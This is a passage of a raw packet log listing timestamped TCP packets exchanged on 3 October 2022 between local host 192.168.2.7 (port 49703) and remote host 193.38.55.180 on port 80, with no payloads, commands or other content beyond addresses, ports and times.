Oct 3, 2022 17:35:31.423516989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.423554897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424269915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.424304962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.424313068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424331903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.424344063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424356937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.424364090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424381971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.424391031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424407959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.424418926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424432993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.424448013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424458027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.424463987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424493074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.424992085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425035954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425048113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425075054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425086975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425102949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425111055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425128937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425137043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425154924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425164938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425179958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425190926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425204039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425216913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425237894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425340891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425380945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425403118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425429106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425441980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425456047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425467014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425482988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425493002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425508976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425522089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425535917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425546885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425561905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425576925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425590038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425592899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425616980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425626993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425642967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425652981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425669909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425679922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425694942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425707102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425721884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425733089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425749063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425759077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425774097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425789118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425802946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425806999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425827980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425839901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425853968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425868988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425879002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425887108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425904989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425930977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425934076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425956964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.425966024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.425981045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426002979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426008940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426033020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426034927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426058054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426060915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426076889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426085949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426109076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426125050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426132917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426135063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426150084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426157951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426173925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426182985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426193953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426207066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426224947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426230907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426245928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426261902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426275969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426285982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426299095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426310062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426325083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426333904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426345110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426361084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426373959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426388025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426393986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426414013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426424026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426440001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426450968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426465988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426479101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426491022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426503897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426516056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426528931 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426539898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426554918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426563978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426572084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426588058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426601887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426611900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426620960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426636934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426650047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426661015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426675081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426685095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426691055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426711082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426732063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426738024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426760912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426764965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426780939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426790953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426805019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426815987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426825047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426841021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426853895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426867008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426887035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426906109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426907063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426932096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426945925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426955938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426964998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.426980019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.426997900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427006960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427027941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427032948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427048922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427059889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427073956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427086115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427095890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427110910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427119017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427135944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427145004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427160978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427176952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427185059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427201033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427211046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427229881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427233934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427252054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427259922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427274942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427288055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427301884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427314043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427326918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427340984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427350044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427365065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427386045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427387953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427408934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427411079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427432060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427433968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427454948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427459002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427484035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.427489042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427512884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.427536011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.440279007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440356016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440366030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440390110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.440392017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440418959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440429926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.440443993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440466881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440474033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.440491915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440495968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.440515041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440531015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.440542936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.440563917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.440592051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441052914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441083908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441107988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441112041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441133022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441134930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441155910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441159010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441174984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441184998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441198111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441212893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441219091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441240072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441251993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441265106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441278934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441292048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441313982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441329002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441339970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441353083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.441371918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.441395044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.452248096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.452289104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.452313900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.452338934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.452363968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.452388048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.452393055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.452411890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.452433109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.452435970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.452461004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.452491045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.453579903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.453613997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.453638077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.453650951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.453660965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.453670979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.453686953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.453707933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.453711033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.453732967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.453756094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.453758955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.453775883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.453810930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.454622984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.454653978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.454675913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.454682112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.454699993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.454703093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.454724073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.454724073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.454744101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.454761982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459273100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459309101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459331989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459356070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459378958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459383965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459403992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459413052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459429026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459453106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459454060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459474087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459477901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459501982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459505081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459526062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459528923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459548950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459549904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459570885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459572077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459589958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459597111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459614038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459621906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459635973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459646940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459671021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459673882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459695101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459713936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459722996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459733963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459747076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459767103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459772110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459798098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459799051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459808111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459822893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459849119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459873915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459897995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459916115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459916115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459916115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459923029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459947109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459966898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459973097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.459995985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.459997892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460014105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460031986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460057974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:31.460072994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:31.460084915 CEST	49703	80	192.168.2.7	193.38.55.180
